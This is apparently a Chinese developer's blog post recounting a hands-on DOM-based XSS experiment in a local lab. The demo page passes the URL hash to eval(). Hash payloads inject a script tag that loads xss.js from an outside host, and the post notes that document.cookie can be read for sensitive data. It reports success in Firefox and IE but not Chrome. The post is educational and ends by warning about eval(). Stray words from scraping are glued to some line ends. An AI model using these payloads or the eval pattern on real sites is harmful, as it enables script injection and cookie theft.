以前就對XSS有所耳聞,不過昨天在學習《深刻淺出nodejs》過程當中,才深刻了解到XSS攻擊的原理,因而找到那本很早就想看的《web前端黑客技術解密》,找到 跨站攻擊腳本XSS 章節,因而有了下面這個簡單的XSS攻擊實驗。javascript
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>XSSdemo</title> </head> <script> eval(location.hash.substr(1)) </script> <body> </body> </html>
關鍵代碼:eval(location.hash.substr(1))html
alert("你的網站被XSS攻擊了!")
關鍵代碼:alert("你的網站被XSS攻擊了!")
Cookie被常常看成輸入點,可使用escape(document.cookie)來獲取用戶Cookie中保存的敏感信息,例如電話號碼,密碼等等。前端
待訪問文件xss.html的url上加上hash值。#document.write("<script/src=//http://ov6jc8fwp.bkt.clouddn.com/xss.js></script>")
java
例如:
file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write("<script/src=//http://ov6jc8fwp.bkt.clouddn....;</script>")node
在真實環境中,這段file:///C:/Users/jack/Desktop/XSSdemo/能夠是http://192.168.32.89:80/,http://192.16.32.89:8080/等真實地址。
完整形式如:http://192.16.32.89:8080/index.html#document.write("<script/src=//http://ov6jc8fwp.bkt.clouddn....;</script>")web
在Chrome中輸入瀏覽器
file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write(<script/src=//http://ov6jc8fwp.bkt.clouddn....;</script>")安全
會被Chrome攔截,攔截截圖以下:cookie
爲何會被攔截?
由於Chrome 的filter防護機制會致使這個沒法成功,其它瀏覽器能夠被攻擊。前端工程師
(瀏覽器版本爲Firefox 57.0 Quantum版)
須要對原始攻擊代碼作下簡單調整。eval(decodeURI(location.hash.substr(1)))
相應的訪問連接也更改成file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write(<script/src=http://ov6jc8fwp.bkt.clouddn.com/xss.js></script>")
XSS攻擊FireFox成功!
能夠看到,XSS腳本被成功寫入到index.html
(瀏覽器版本爲IE11.726.15063.0 )
XSS攻擊IE11成功!
攻擊了這麼久,難道我是要去綠,哦不,黑別人嗎?
NoNoNo,我是爲了讓本身的網站更加安全。
以前有了解到javascript的eval()會有安全問題,經過今天的例子,才明白eval()原來會幫助 XSS攻擊輸入點代碼進行攻擊,例如:
本例中的輸入點爲location.hash.substr(1),其值爲'document.write(<script/src=http://ov6jc8fwp.bkt.clouddn....;</script>")'
本質上eval(decodeURI(location.hash.substr(1)))
其實就是執行了eval'(document.write(`<script/src=http://ov6jc8fwp.bkt.clouddn....;</script>")')
簡單來講,eval()會執行XSS跨站攻擊腳本,前端工程師在開發過程當中要注意eval()使用存在的安全隱患。
對於瀏覽器喜好程度,我想Chrome在防護XSS攻擊方面又爲本身加了很多分,之後強推Chrome又多了一個理由。
其實關於XSS攻擊還有不少學問在其中,我所瞭解到的只是冰山一角,後續再繼續探索!
That's it !